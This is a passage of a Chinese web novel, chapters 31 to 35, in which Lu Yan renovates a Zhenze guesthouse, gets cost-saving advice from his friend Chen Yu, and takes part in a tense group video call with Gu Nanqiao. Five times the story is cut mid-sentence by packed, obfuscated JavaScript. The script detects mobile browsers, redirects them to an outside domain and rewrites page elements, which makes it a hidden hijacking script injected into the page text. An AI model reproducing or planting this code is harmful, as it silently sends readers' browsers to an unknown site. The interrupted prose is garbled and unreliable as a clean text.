喉结动了动,不死心问道:“是内部价吗?” 她认真点头,用鼻音重重说了个‘嗯’,宛如‘网费耗尽、自动下机’的声音。 哎、哎,害—— 别看着小姑娘平时朴素,其实做的手艺活还挺贵重的...... 正砸吧嘴感叹时,老板娘掀开帘子过来收拾菜碟,抬抬下巴说: “小陆,你别看我家不富裕的样子,语棠身上那几件,料子手工费加起来,每件都是大几千的奢侈品喏!” 此言一出,众人看向沈语棠身上那件湖蓝色的小夹袄,肉眼可见,满屏问号。 “啊?” 不仅张野师徒,陆砚也蚌埠住了。 我踏马、我....... 好死不死,这会摄像大哥说道: “是这样的,就是村里的人家,家家户户的收入其实在全国范围内也不算差。” “...” 陆砚看着沈语棠,沈语棠微微低头,倏忽蜻蜓点水和他对上一眼,有点不好意思,有些笑意。 得,原来人家一件衣服比哥几个身上加起来都贵了。 但事情还没结束,沈秀娥收了一叠盘子又折返回来: “之前不是说了吗,她每个月就要交三千块买丝线......” 吃完饭晕碳很正常。 陆砚无力地问:“语棠,合着那是材料费?不是学费?” “陆哥,老师不收我们学费。” 沈语棠难得面上露笑、用手遮掩着嘴,说完便去帮着沈秀娥一起收拾。 是哦。 好像是的,非遗传承人每年都有教学指标来着...... 陆砚不禁一阵好笑,一阵心酸。 当然,此时的心酸再没有最初的偏激,只是混着点自嘲罢了。 是时候去床上躺着了,这波OK转变为KO来得太迅猛,谁遭得住啊! 临走时,问了嘴: “摄像大哥,明天还拍吗?” 男人笑着摆手:“已经拍完了,明天中午就走。” “老板娘,房间没卖了吧?” 沈秀娥一听,赶忙说:“没有没有,哪里还能耽误你们。” “那房间替我留着,明天一朋友要来。” 第三十一章 熟人有优惠 早上八点半,电梯‘叮’地打开,陈禹背着黑色双肩包走入过道,皮鞋一步一响。 他租了一间办公室作为公司地址,此时玻璃门虚掩着,里面暂时还没人进来—— 房间被磨砂玻璃隔成两半,外间是前台,旁边有个办公桌,里面房间则是会客室。 不仅如此,总共二十来个平方的地方,墙角堆着半人高的仿古瓷砖样品,砖面印着各式各样的做旧裂纹。 进来等了一会,前台和运营踩着点进来,两个女生异口同声说: “陈哥早!” 细看,睫毛上还沾了点粉底,手里马克杯冒着热气。 陈禹并没有私下的嬉皮笑脸,把包往最新的汉砖拓片一放: “这礼拜的推文排到哪了?” “排到周四了,”运营想了想,“最近客户来问详情,都是通过我们上个月爆火的那篇老洋房。” “......好,我出去两天。公众号每天准点发,别断更。”他字句清晰地说:“有客户打电话问价,让小林记下来,微信发我就行。大单子别擅自接,等我回来定。” 说着,他指了指拓片上的背包,两人目光成功在空中对接,女孩笑着说: “没问题。” ...... 偏灰的日头,历经三小时路程的宝马车慢慢开进边上是田埂的窄路。 一路上,不少三轮车、自行车纷纷让路,尽显此地‘淳朴好客’风尚。 陆砚挥手,降下车玻璃还没停稳,陈禹就喊道: “砚哥,工作时间还是搞工作,我不怪罪,你去忙你的。” 他已经猜到会有这么出对话,事实上,他们之间少到屈指可数的探班,一直以来都遵守着此类规矩。 所以陆砚是不好意思在陈禹面前灰扑扑的刷腻子吗? 也有点。 “这里,工时时间很宝贵,不是想做就能做的。反正也是闲着,不如门口等等你吧。” 他说的是实话,此时老板娘还没有发信息,说明住客还没离开。 可在陈禹耳朵里,这就是实打实的调侃,没道理他会投降: “你们团队也太国际化了,两点钟还不工作,成员都在倒时差?” 白车挨着黑色皮卡停好,陆砚上前走,陈禹下来直奔后备箱去。 当看清车箱里的四瓶酒后,心中涌上的情绪将老友相见的喜悦冲淡了两分,可面上不显: “礼性现在学得这么好了?是要给自己的形象洗白啊你。” 陈禹呵呵一笑,提着两个袋子,一口气说道: “威士忌、葡萄酒、白兰地和国产米酒,阿乐把店里的品种一样来了点,他说这个米酒搭配苏式糕点是一绝,特地让拿来的。” 什么叫礼多人不怪? 陆砚此时就很怪,不仅自己怪,还尤其怪眼前的男人多管闲事: “阿乐隔那么远都知道送物资过来,你呢?就带了个人来?” “胡说八道,我结婚了,人不能给你。” “...” ...... “妈妈。” “别叫我妈。” “老板,这一共多少钱?” 梅丽华看了看苏棠,又看了看那花和营养土,大致算了一下,说: “念在你也算老熟人了,算你八十吧。” 闻言,苏棠气得跳脚,“你这也太黑了吧!黑心花店就你还能开100年,我看这样下去100天都撑不到!” 梅丽华听到一半,起身就打。 花店开100年,可是她事业的总方针,哪能允许这个逆子胡言乱语。 边揪耳朵边说“苏棠,我看你是零花钱给多了没地方花。从今天开始每天少给20块。” 苏棠佯装害怕的模样,“少给20就少给20,以后我每天在你这儿拿一捧花走。” 梅丽华愣了愣,有见过捉贼打贼的,没见过千日防贼的。 照这样下去,少给20她拿一捧花,自己不还是亏的。 坏了,真给自家闺女找着破绽...... 这事,还能报警抓小偷去不成? 只能打碎牙往肚里咽呀。 梅丽华面上气势不减,当即拿起手机,给苏国喜打去电话: “老苏你看看你家的闺女,都是你给惯的,现在欺负我这个当妈的是手拿把掐......” 苏棠:... ...... 三楼走廊墙角堆着半袋没开封的腻子粉,空气飘着石灰的涩味。 里面錾墙‘笃笃’敲得有节奏,陆砚和陈禹站在房间外,显得云淡风轻。 陆砚没有避讳,把如今的困局一五一十交代了出去。 说了非遗标准、说了他的五万块用在哪,最后还着重点明了,需要省钱创造利润。 都说他山之石可以攻玉,陈禹笑了,从包里摸出手机划了两下: “哥们儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186294|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你支几个想不到的。墙面检测别找机构,下个个‘空气猫’,几十块买个检测盒,自己测可以省掉大几百检测费。” 不一样的角度果然能发现从未想到的地方,他顿了顿: “还有那缂丝房不是要照明吗?别装传统吊灯,买智能灯带贴墙根,手机调亮度色温,省电线还省电,二手平台淘九成新的,一百块能搞定一屋子。” 陆砚先是瞠目结舌,随后皱眉:“智能的靠谱?” “你懂个屁,”陈禹开了瓶水,抿了一口,“我是做什么的?现在装修都玩这个。还有地面,你不是想刷水泥密封剂?别买进口的,搜‘水性混凝土固化剂’,国产大厂的才八十块一桶,能刷十平,比进口货省一半,环保等级一样。” 男人心里盘算了一圈,这几个点子要行得通,大概、确实,能省不少。 甚至,省得他有点心虚了。 “还有最后的收尾,可以用我的仿古砖啊。” “...” 还有招? 难怪你能创业成功...... “你看过的,我们那釉面做旧处理过,往地上一堆就有年代感。算你九折,铺满客厅角落那片展示区,既凑够了方案效果,又免得你后面花心思做效果。” 说实话,陆砚心动过,但很快就把被蛊惑的心按死——钱不够啊! 可是钱不够,不能简单地说钱不够,要说天时地利、要说人生长恨水长东: “仿古的......能过审?” “呵呵!我是做什么的?”陈禹往墙背上一靠,一条腿搭在另一条腿上,“又不是让你复原故宫,民宿搞‘非遗+’,说白了是商业挂文化的牌。真要按古建标准来,让老金烧正经青砖?他能提着瓦刀追你三条街。” 陈禹的逻辑让他眼前一亮,一下子抓住了什么—— 文化是皮,商业是骨,民宿要的不是真古董,是让补贴能落袋、客人能买账的文化样子。 才明白,什么是文化,什么是商业,什么是披着文化的商业。 这点,还是陈禹比较懂行。 “这样吧,我破个例,九折包运输,怎么样?” 陆砚没接话,起身往里面走。 房间‘笃笃’声还在响,他望着墙角堆着的旧木料,忽然轻松不少。 “下午我接着盯活,”陆砚头也不回地喊,“你逛村子别走远,晚饭在这儿吃。” 第三十二章 极限生存 堂屋的灯泡亮了,橙黄的光裹着饭菜香漫开。 长桌挤了五个人,沈语棠挨着陆砚坐,手里攥着半杯米酒,耳尖被灯光映得发红; 冯小军脱了沾灰的外套,露出里面白得发黑的T恤,给众人倒酒,琥珀色的酒液漫过杯沿; 张野早扯开了领口,筷子在盘子里扒拉白斩鸡; 灶房的门没关,沈秀娥端着最后一盘炒青菜出来: “慢些喝啊你们,锅里炖着汤,马上就热好了。” 说完又缩回灶房,柴火噼啪声混着她哼的小调飘出来。 “啧,这还是头回跟陆哥的朋友凑一桌喝酒。”张野灌了口酒,“以前总听陆哥提,今儿才算见着**。” 冯小军筷子停在半空:“这么久?一回没碰见过?” “没见过。” 陈禹举起杯子撞过来,可惜塑料杯发不出响声:“以前忙嘛,哪有机会?不过你看,认识年头够长,总有机会凑一块儿。” 五杯酒碰在一处,沈语棠抿着米酒,眼尾弯着笑,似乎进入状态了,往陆砚碗里夹了块豆腐: “陆哥,吃菜。” 陆砚握着酒杯,没有理会那么多对话,心情复杂。 此时有些人不在,但比坐在桌上还有存在感。 酒液滑过喉咙,里头混着阿乐小心翼翼的期待,尝不出多少滋味,总觉得做了亏心事似的。 对,就是亏心。 他是什么身份,什么立场? 为什么阿乐要寻求他的意见,他又有什么资格,给出自己的意见...... “想什么呢?” 陆砚摇摇头,刚要开口,陈禹却朝着使了个眼色,又冲外面努努嘴。 果不其然,眼见场面照顾足以后,便到了他们私聊的时候。 “走,借一步说话。”陈禹起身,酒杯往桌上一放,“你们慢喝,剩下半瓶别浪费。” 张野正跟冯小军比划着白天拆墙的架势,闻言挥挥手:“去吧去吧,等着你们回来续摊啊!” 沈语棠跟着点头,盯着两人笑着。 陆砚跟着往外走,堂屋里的笑闹声被甩在身后。 他回头望了眼,暖光把几个人的影子投在墙上,歪歪扭扭地晃着,热闹像团火。 只有他,在晚风里沉沉的。 ...... “砚哥,这么艰苦的环境下,怎么喝酒还不痛快呢?” 陈禹嘴边挂着笑,像在嘲笑他的处境。 事实也正是如此,每每被撞见窘境的时候,陆砚总会被嘲笑,等过了那段不熟的阶段以后,就踏马的、能忍受了。 “你觉得呢?” 正是因为窘境**没避开,他俩在一定程度上也少了些沟通障碍。 此时陆砚想知道,从对方眼里来看,自己是因为什么消沉。 至于能不能听到真心话,从不担忧——这鸟人,嘴那么臭,还能说假话? 他们沿着路走,两个影子在地上晃,其中一个影子口气平淡又字字珠玑,告诉另一个影子: “舍不得人家呗。” “陈禹......我觉得,选一千遍,我也是选杨灵的。” “不冲突的呀。” 两个影子脚步一顿,扭头互望—— “我擦,你踏马......” “真心话,不冲突的呀!” 这就是陈禹。 他们从十八岁认识,见过深夜对方床板传来的阵阵颤动,也遭受过平淡日常里无数个意料之中的出卖,一路上吃过苦头、也哼过歌,转眼就到了二十八岁。 找了处平整的田埂,陈禹‘哎’的一声坐下,屁股在地上蹭蹭,那架势,恨不得再打个滚。 他拿出手机:“现在只是几瓶酒的小事,支持或者反对,我建议尽快给个准信,不然拖久以后就难办了。” “什么支持反对?关我什么事?” 陆砚跟着坐旁边,所幸背着光,脸上的阴晴并不明显。 对方拍拍肩膀,循循善诱道:“那天我又不是没看到,顾南乔在你家......这次分手了吧?你敢说不是因为她?” 说道这,突然反应过来。 那天陈禹是醒的呀!杨灵会不会赶来,他能不知道? 手刚搁在陈禹的后颈,求生意识极强的人已经指天发了誓: “我踏马什么酒量你不知道?当天回去颜颜直接让我滚去客房睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186295|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的!” “...” ...... 杨灵走了,老顾走了,陆砚也走了,如果不是工作和酒精,顾南乔不知道自己该如何撑下去。 好在最近一段时间有点否极泰来的征兆,客户一个接一个,半个月来接的案子比之前三个月都多。 尽管数额都不大,可如今还有什么挑挑拣拣的呢? 而且相较以前,现在才更符合自己的理想——好好做案子,匡扶正义。 说来好笑,很多人都有过理想主义的时候,这股劲随着成年以后、不断遭受毒打而散了去。 可自己身上呢,大概被保护得太好了,此前最偏执的时候,也想过,就是不收钱也要接案子。 如今这样的想法淡了,偏偏实现理想的机会来了,真是让人哭笑不得。 晚上,先科律师大厦楼下的星巴克内,她自掏腰包请了份轻食。 “顾律师,我现在是个什么生活你晓得吧?压根就是极限生存挑战!每天两餐,中午一餐掐着时间去早餐铺子对付了,那里有卖不出去的豆浆免费喝,晚上一餐得熬到八点半以后,去超市买打折面包,运气好的话可以买到盒饭,蹭那里的微波炉吃口热的......” 中年男子几乎声泪俱下的诉说被黑心老板拖欠尾款后的窘境,顾南乔面无表情做着记录。 “你和张老板最后一次联系是什么时候?” “半个月前......他已经把脸完全不要了,什么亲戚朋友,什么老婆孩子,全说联系不上他,我也是倒了霉八辈子血霉才垫资帮他做项目,三十五万啊整整三十五万,现在一分都要不回来了......” 顾南乔想打断他,接着问有效信息,然而这些天全是类似的案子,一身班味的她已经开始PTSD(创伤应激)了。 再说了,现在结束工作,一会又不知道做什么了。 ......对方想说,就让他说吧,谁说做律师的,只是匡扶正义呢? 顺带做个心理疏导很正常的啦! 而且也并非没有收获......对方的省钱方法,居然真的可以一千块对付一个月! 第三十三章 黑夜面纱 “你现在是清醒的吧?” “是。” “你敢不敢把刚才的话再说一遍?” 田埂边,两人坐在地上,不可置信的情绪在陆砚眼中,就没消失过。 陈禹一个字一个字往外蹦着:“感情确实淡了,我现在对她一点情绪都没有。” 这样的话在深夜情感话题中非常常见。 只是在一般语境中,‘对她没感觉’的‘她’,多为女朋友或者处于暧昧关系中的人......绝非结了婚的老婆啊! 说来也奇怪,年轻的陈禹对待感情,和轻浮的同龄人完全不同,一度比陆砚看起来深情多了—— 刮风天、下雨天,追求时、恋爱后,不论和颜朵关系怎么变化,这个男人总是有着用不完的意气和干劲,变着法地带着去体验、去奋斗,营造每一天的内容。 即使后面开始创业,即使创业的时候经常在小酒馆喝得倒头就睡,可酒醉之前,也会先把颜朵逗开心了才肯喝上头。 怎么如今,年纪增长,成家立业了,开始向往围城外面的世界了呢? 陆砚不禁问:“没情绪,重要吗?” “当然不重要。” “那不就对了,以后的事情谁都说不准......” “但是有情绪,对我很重要!” 他翻动着手机,亮光打在脸上,脸上写着认真。 陆砚忽然知道该点到为止了。 男人肯吐露真心话不容易,经过思虑后的真心话更是格外沉重。 这一刻,他们需要的不是指责、出谋划策,谁知道在此之前已经在心里考虑过多少遍、出谋划多少策了? “砚哥,来,咱们一块打个视频,让我参观一下你的reaction(反应)。” 说着,他在三人群里,拨给了阿乐。 和阿乐视频通话能有什么reaction?和陈禹此时的问题,能有什么触类旁通? 陆砚想了想,忽然,知道他要做什么了。 “不是,你自己有问题,干嘛拖我下水?” 微信响铃在田野放得很大声,陈禹也回得很大声,几乎是用喊的: “相信我,勇敢面对自己的心,比做什么都爽!” ...... 浴室的水汽还没散尽,把头发吹到半干,顾南乔把自己摔进卧室的懒人沙发里。 发尾的水珠洇湿了肩头的T恤,抬手胡乱抹了两把,反正没人在意她头发是不是炸毛。 脚边的地毯扔着团皱巴巴的浴巾,沙发扶手堆着换下来的真丝衬衫——应该把衣服丢进洗衣机。 这会儿看了眼,又想着放哪都一样,就此作罢。 指尖撕开补水面膜,‘啪’地贴在脸上,腾出另一只手划着平板,剧里的台词混着欢乐的音乐漫在屋里。 看完一集,混走一个小时。 忽然,床头柜上的手机‘叮咚’响了一声。 顾南乔捏着平板的手指顿了顿。 这时候的微信提示音,只会来自私人账号。 她盯着屏幕暗下去的方向,心里莫名跳了跳。 孤独久了,连这种细碎的动静都带着点盼头,像沙漠的鱼儿等一场迟来的雨。 还没等起身,铃声又响,这次是视频通话的提示音,直接刺破了屋里的懒倦。 她猛地坐直,屏幕亮起来的瞬间,那个名字撞进眼里,顾南乔的瞳孔倏地缩了缩——陆砚。 通话界面的两个画框里装着的三个男人。 看着其中一个装了两人的画框——光线很暗,可仅是一个影子,也足够认出来。 顾南乔的呼吸顿了半拍。 铃声还在执着地响,带着催促的意味。 盯着屏幕看了两秒,抬手把面膜往脸上按了按,指尖划过绿色的接听键。 ...... 阿乐惊叹于陈禹做事效率的同时,喜出望外捋了捋头发。 “砚哥,你在苏州过得可还好?您是不知道,没有你的日子里,我是多么的痛苦惋惜。” 画面中,大半个黑黢的人影同样口气轻快:“我怀疑你是约不到人,所以移情到我身上了。” 还不等对方狡辩,另一道人影说道:“这么说的话,我怀疑你当你睡他床上的事情,没有那么简单。” “......所以,咱们还是说话的方式还是简单点,是吧?乐哥。” 话头兜了一圈,形象惨遭了不少污名化的标签,但聊到正题,他便像咬死鱼钩的鱼,断然不会打岔: “砚哥哥,简单来说就是,我对你那个朋友......顾南乔,有点好感。这事你怎么看。” “祝福。” 对面言简意赅回答完毕。 听口吻,陆砚是一本正经的,陈禹是旁边偷笑的。 所以,此时就该自己兴奋了! 桀桀桀桀! “咳咳,既然你都这么说了,那我肯定不含糊了......等着啊,我拉她进群,你们给我活跃下气氛。” 说着,也不顾对面脸色有多黑,笑声有多直白,阿乐手指飞快选中置顶发出进群邀请—— ...... 屏幕里,他不仅躲在黑夜中,身边还有个人陪着。 ‘接听连接中’变为‘已接通’的瞬间,顾南乔便对着屏幕抢先问道: “打给我做什么?” 她能猜到一些符合情理的理由,也大概知道如今局面是如何造成的,但此刻不是和客户沟通,即使明知故问,即使彼此说些废话,也无妨。 对方像说话收费似的缄默,又或者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此言一出,画面中的两个男人同时愣了愣。 陆砚看不清表情,阿乐却是尴尬而压不住嘴角的笑——历经岁月沉淀,他早对扭捏的小女生不感兴趣,而眼前这一款,正好对胃口: “这个玩笑话可以下酒,哈哈,你来的话,就可以和现在一样,想一出是一出咯,我肯定奉陪。” 陈禹早早回过神,突然手掌拍过来,肩膀‘啪’的一声响: “对,奉陪。” 陆砚回以微笑,离镜头远了点,把脸放进黑暗中。 第三十四章 新朋友 顾南乔指尖捏着面膜边缘往耳后抻了抻,声音透过面膜纸有点闷,接着阿乐的话往下说: “你们很熟啊?” 屏幕那头的男人趴在破吉他酒馆的前台,拍拍胸脯,顺便把胸肌挺了挺: “肯定的,熟透了。” “哦?那你猜猜,他们俩在镜头外面说什么呢?” 屏幕右侧框里,陈禹和陆砚已经晃出画面,两人坐在田埂边,一个挤眉弄眼,一个面无表情。 半截草垛在风里摇摆,手机里的声音他们都听得真切,却迟迟没有动作—— 该动的人不想动,不该动的人拼了命往上浇油: “我说了,没情绪无所谓,有情绪才是最要命的,看来你也是认同的嘛。” 陆砚一个激灵,示意其压低声音:“踏马的,认识你真倒血霉了!” 这说话音量......还好自己的手机收音不好! 然而对方是小声了,干脆凑到耳边,眉飞色舞、近乎手舞足蹈地晃着,用气声喊: “你认不认?认不认?” 认不认?认不认? 脑子被问得嗡嗡响。 深吸一口气准备替民除害,手机突然炸开阿乐的吼叫: “你们俩嘀咕什么呢?敢不敢大声说?” 看热闹的看着热闹,热闹本人重新拿起手机:“嘛呢,乐哥,在打蚊子呢!” 那边显然不信,目露鄙夷:“少来,都哥们,背后搞小动作就不酷了。” 顾南乔跟上趟:“是的,乐哥说得在理!” 女人头回跟自己站在一个立场,阿乐顿时眉开眼笑,手摆得跟拨浪鼓似的,‘哪里哪里’的谦虚着。 她没接话,目光透过屏幕,像能穿透那片黑暗找到目标:“就是说,大家都是朋友?” “那当然了,顾律师。” 顾南乔看向屏幕右侧的小框,那里只有晃动的草影,她笃定对方能听见,声音清了清: “陆砚,我们也是朋友吗?” 田埂上,陆砚僵住,陈禹用胳膊肘顶了一下,才凑近手机: “那当然了,顾律师。” 这一出搞得旁人有点不明不白,阿乐正想打岔缓和气氛,不料顾南乔话锋一变—— 抬手,指尖捏住面膜的一角,露出光洁的下巴,语气陡然认真: “那我们算逢场作戏的朋友,还是真朋友?” 手机传来声音,男人的心软了一块地方,没多想,话就冲了出来: “真朋友。” 他说得很真,很认真。 只是,不能解释,也无法多说。 阿乐转着酒杯,有些摸不着头脑,见状连忙解场: “是啊,都是真的,哪有什么假的呀。” 顾南乔把面膜彻底扯下来,随手扔在旁边的垃圾桶里,指尖在脸颊上轻轻拍打,忽然笑了,眼尾残留的晶莹在灯光下闪了闪: “那我们算新朋友还是老朋友?” 深深看向旷日久别的她,陆砚将眼前画面与印象中的对比,脸庞消瘦了。 很心疼这个女人。 一下就想起那时候,两人一起被生活揍得抱头痛哭的画面。 还记得,开着车在路上乱窜,大难不死后在躺沙发上说,‘我可是生死关头都没忘记带你一起走,可要记着这份情’。 记着呢,不敢忘。 喉头吞咽,心情复杂地说: “在这群人中,我们俩算新朋友。” 朋友前面加个‘新’是什么意思? ‘新’或许意味着,以前一片空白,就像‘新的开始’。 可究竟是不是这样的潜台词、两人之间能不能达成共识、又能不能有新的开始,只有月亮知道。 过去的记忆,也只有这篇夜能消融...... 不论人生经历多少,信息差的壁垒总是难以逾越。 阿乐一度以为两人在吵了架还没和好,此时帮着解释: “是的,我们几个已经认识很久了,但是未来很长嘛,大家伙在一起,迟早是老朋友。” 女人没有接着追问关于‘新朋友还是老朋友’的问题,表情松了些,说道: “我还以为我们不是朋友了呢。” 陆砚的心猛地一紧,紧跟着又浮起一股说不清的庆幸—— 是啊,他也以为,他们不会再如朋友对话的这天了。 此时,真的,真的感觉还不错。 悄悄调整手机角度,让更多的黑暗漫过脸庞,只露出半只眼睛看向屏幕:“哇,你还是这么受欢迎,谁送的花呀?” 屏幕里,顾南乔回头看了眼床头柜,玫瑰开得正盛。 她转回来时,眼里的光比花瓣还亮:“心上人送的呗!” ...... “没关系的乐哥,砚哥说,他也是今天才知道顾南乔有心上人了。兴许,她是随口说的也不一定。” 结束了十来分钟的多人通话,此刻一对一视频阿乐就没好言好语了: “你从哪看出我有关系了?” 陈禹看着陆砚:“我确实看不出,但是我觉得,你应该有关系。” 阿乐脸上僵了些,顿了顿,挂断电话前,还是没兜住沮丧:“是啊,有点关系吧。” 不管心上人是真是假,总归是说给他听的。 这意味着什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16195328|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不言而喻。 电话挂断,月亮很亮,亮得两人脸上表情纤毫毕露。 见证全过程的陈禹一言不发,偏偏那副眼神,看得陆砚遭不住。 “你别狗叫,我想静静。” “不是吧,静静......你也有第三个爱人?” “......你踏马还有第三个?” 陈禹笑着起身,用一模一样的口吻反击:“你踏马承认了,你有第二个?” 聊到此处本以为会戛然而止。 平日里,大多数人都是这样,一旦涉及深度内容,便开始顾左右而言他,好似自己的心是永远洗不好的相机底片,见不得光。 所以大多数人跟大多数人哪怕相处一千个小时、一万个小时,也逃不过泛泛之交的魔咒,总在对方身上找不到踏实的感觉。 吃了吗、吃什么、玩什么、做什么,这样的表面话题总归是在灵魂外围打转,远不及深度话题剖心,来得关系好。 陆砚随后起身,并肩而站:“对,有第二个。但是我踏马的有原则,不是你这沟槽的过来,我这辈子没打算联系她了。” “为什么不联系?联系了又怎样?联系了就要变心是吧?” 好一个递进三连问,问得陆砚有点愧对皎洁明月。 男人看着多年好友,想了想,认真说: “很多事我不敢说死,我也承认对她有好感......很多好感......但是不该就是不该,把不该的事情合理化,多少有点对不起良心。” “良心啊,能换好多好东西,花一点怎么了?” “问题是已经花多了,做人总要留一点吧?一段感情而已,又不是没有就会死......” 这个回答陈禹是满意的。 看似在反驳,但如果你真的觉得是反驳的话,那就是吧。 反正陈禹觉得,是有温度的。 ...... 上海浦东,惠南某栋略带年代感的居民楼点着比震泽镇民宿更亮的灯,灯下,形单影只。 颜朵也觉得自己过于敏感,但胡乱的猜疑还是止不住地产生,走来走去静不下心。 近期应是做了场梦,自家父母过来探望的几天里,陈禹仿佛变回了大学时的样子,对她照顾到无微不至,温柔耐心到无可挑剔。 原以为是做做样子——夫妻不都这样吗? 颜朵并不排斥‘做样子’这件事,何况平时,陈禹的表现也算合格。 可父母回去以后,自己丈夫还是那样的体贴、温柔。 她开心,也不安...... 最后一咬牙,给陆砚打了过去。 第三十五章 新鲜 昨天晚上还真是热闹,回去的时候张野他们还在喝,不过沈语棠已经离场。 续了摊,喝到起兴,陆砚破天荒接连来了两个视频电话——刚开始一惊,以为会有顾南乔,却不想是没事几乎不联系的颜朵和开口就气急败坏的苏棠。 前者好说,镜头一转,陈禹和几个男人喝酒的画面,比任何说辞都管用; 后者就炸裂了,当着哥几个的面,开口第一句就嚷着‘陆砚你个没良心的,我给你打了好几个电话全是通话中,你是不是在跟别的女人聊天’。 此言一出,陈禹立马出来作证,说‘是的’。 随后局面开始混乱......隔着屏幕,四男两女划拳、喝酒,直到苏棠妈妈偶然抓到自家女儿带着未成年堂妹...... 由于画面掐断得太快,未来,仍给苏棠留了很多解释空间用以挽尊。 最后那对情侣回来、老板娘关上门,众人才结束。 “呼!” 冷水浇过脸庞,思绪回归当下: 今天上午可以带陈禹去周边逛逛,把人送走以后就考虑他给的那些省钱的法子,验证其可行性; 再者,下午客人走后接着动工,把第三间房拆了,争取明后两天把三楼的所有墙面刷完。 “笃笃!” 哟,语棠丫头酒量进步啦,第二天能起早了。 含着牙刷‘咔哒’打开门——是陈禹。 跳过寒暄,他沉声说道:“砚哥,我想昨天我已经铺垫得差不多了。” “嗯?” 风衣长裤皮鞋,对方穿着佩戴得规整。 陆砚全然不知他说的铺垫是什么,却对其清醒而深邃的眼神感到凝重。 他意识到了什么,心里突突直跳,当即去洗手台清了口里的泡沫。 ...... 不比早餐铺子的辛苦,沈秀娥每天可以睡到六点多钟才起。 多年来的习惯让她早晨只需要花六七分钟解决洗漱,便可以去灶房烧水做早餐,不管是面条还是粥点,总可以在七点二十左右做好。 而沈语棠一般要到七点才会起来,穿戴洗漱花二十分钟,再用二十分钟帮忙打扫,吃过早餐后去镇上的师俭堂学艺。 最近丫头勤快了些,常常起得跟她一样早,还会帮忙收拾收拾客房。 她理解。 沈秀娥是过来人,有什么不理解的呢? 理解和支持是两码事,她不看好、也不支持女儿的选择,却从未出声打击过,想着某天撞到南墙、自己走过一遭了,自然会懂。 话虽如此,人总是矛盾的,如今离南墙也差得太多了呀...... “语棠,快迟到了喏!” 她这个做家长的看着干着急——哪有在人家面前表现几天,刚刚把勤快的印象立起来,就三番两次赖床的? 做人最忌讳的就是想一出是一出,早知如此,还不如开始就懒一点、后面再慢慢改观呢! “沈语棠!” 声音大了三个度,沈语棠打了个激灵,把身子缩紧了些。 “......几点了?” “哎,我想想啊,大概你陆哥已经出去二十分钟了。” 当说到‘陆哥’的时候,沈秀娥刻意咬字重了些,显然,她私下已经调侃惯了。 床上的姑娘听后没害羞,甚至没多少反应,拉扯被子拢起来,靠上床头柜坐了会,才开始慢慢穿衣服。 此时,沈秀娥已经帮忙把面条端了过来,又气又笑: “真是越来越出息了,半杯酒你睡了一整宿。那米酒也才十几度啊。” “姆妈,面条糊住了。” 她把披肩的长发束成辫子,看着碗里泡得发白的面。 “哎呀,将就对付一口吧,就当这是你陆哥吃剩的。” 每个人都有好几副面孔,八面玲珑的老板娘更是如此。 也只有对其特别熟悉的沈语棠才清楚,自家家长有多么喜欢开玩笑。 索性只要没外人在场,她还是能招架的。 扎好师俭堂规定的辫子,换上相对潮流显得朴素的服饰,去洗手间的时候顺手拍了下沈秀娥的胳膊,冲着轻轻一笑。 ...... 震泽镇除了慈云寺,还有个相对不那么出名的谭寺,寺门口有条街,叫宝塔街,只有四百余米。 两人婉拒了民宿的早餐,大清早出门,专程赶到宝塔街吃特色早点。 所谓特色,便是图个新鲜。 比起常能吃到的特色早点,陆砚还是觉得,眼下的事情比较新鲜: “你,你这也太不把我当外人了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199366|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我也没办法,这事别人没法帮忙。” “我踏......”扭头看了看旁边,陆砚压低声音,“我怎么帮?帮不了啊!颜朵要知道了,不光要杀你,我也跑不掉!” 